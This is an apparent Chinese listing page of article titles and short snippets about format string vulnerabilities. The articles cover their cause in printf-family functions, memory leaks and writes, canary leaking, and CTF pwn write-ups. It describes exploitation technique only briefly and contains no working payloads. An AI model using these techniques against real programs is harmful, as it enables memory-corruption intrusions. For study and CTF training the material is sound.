2020-11-26 15:10:4800 主要是构建框架,没有详细阐述内容 分为两部分,漏洞原理与利用方式 01 漏洞原理 1 程序崩溃 通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个%s即可。这是因为栈上不... -
Windows 平台下的堆溢出、格式化字符串漏洞利用技术
2017-04-09 22:01:21Windows 平台下的堆溢出、格式化字符串漏洞利用技术 -
C语言常见漏洞-格式化字符串漏洞
2021-07-20 13:05:59格式化字符串漏洞1.1 预备知识1.2 漏洞产生机理 一.格式化字符串漏洞 1.1 预备知识 在c语言中的printf,fprintf,sprintf,snprintf等print函数经常会用到类似%形式的一个或者多个说明符。比如printf("my name is %s... -
linux格式化字符串漏洞
2022-02-04 20:07:49格式化字符串漏洞 格式化字符串介绍 常见格式化字符串函数 函数 基本介绍 printf 输出到stdout fprintf 输出到指定FILE流 vprintf 根据参数列表格式化输出到stdout vfprintf 根据参数列表格式化输出到... -
格式化字符串漏洞原理及简单利用(CGfsb题解)
2019-04-02 21:22:20先介绍一下格式化字符串漏洞,这种漏洞在实际中应该很少有了,但仍然需要了解这些基础的漏洞知识。 会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数,该题就是利用了printf的漏洞,... -
CTF pwn题之格式化字符串漏洞详解
2021-03-22 08:46:13在遇到pwn题中格式化字符串漏洞时,我们一般会分两大步实现漏洞利用:首先构造一个payload来寻找输入字符串到栈顶指针的偏移,然后利用偏移实现对目标地址的改写。下面我将介绍pwntools中的FmtStr类如何实现偏移的... -
格式化字符串漏洞原理详解
2018-12-08 23:38:02理解这个漏洞的原理,你需要有汇编层面的函数调用和函数的参数传递知识。如果你不清楚函数的参数是如何传递的,可以看《加密与解密》的逆向分析技术篇,也可以参考我博客里的... -
格式化字符串漏洞研究(C/C++、Python)
2020-07-09 20:33:05二、C/C++格式化字符串漏洞 C/C++中的格式化字符串漏洞会造成如下两方面问题: 任意地址内存读取数据,造成内存信息泄露 修改任意地址内存的数据,如修改栈RET值从而造成恶意代码执行、修改栈条件变量值从而变更... -
Canary机制及绕过策略-格式化字符串漏洞泄露Canary
2021-02-24 20:18:58我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。Stackcanary保护机制在刚进入函数时,在栈上放置一个标志canary,然后在函数结束... -
好好说话之64位格式化字符串漏洞
2020-08-06 13:28:1464位格式化字符串和32位的很相似,做题的步骤也相同,唯一不同的是64位程序对函数参数存储的方式和32位的不同。64为程序会优先将函数的前6个参数放置在寄存器中,超过6个的再存放在栈上,而32位直接存放在栈上。... -
BUUCTF-PWN刷题记录-18(格式化字符串漏洞)
2020-12-20 21:47:25目录xman_2019_format(字符串位于堆上)hitcontraining_playfmt(字符串位于bss)...一道格式化字符串题目,但是只有一次输入机会,但是有多次利用机会,每次利用使用‘|’隔开 原创文章 41获赞 8访问量 4299 关注 -
pwn学习(格式化字符串漏洞)
2020-02-05 13:55:56格式化字符串函数介绍 格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数,通俗来说。格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串...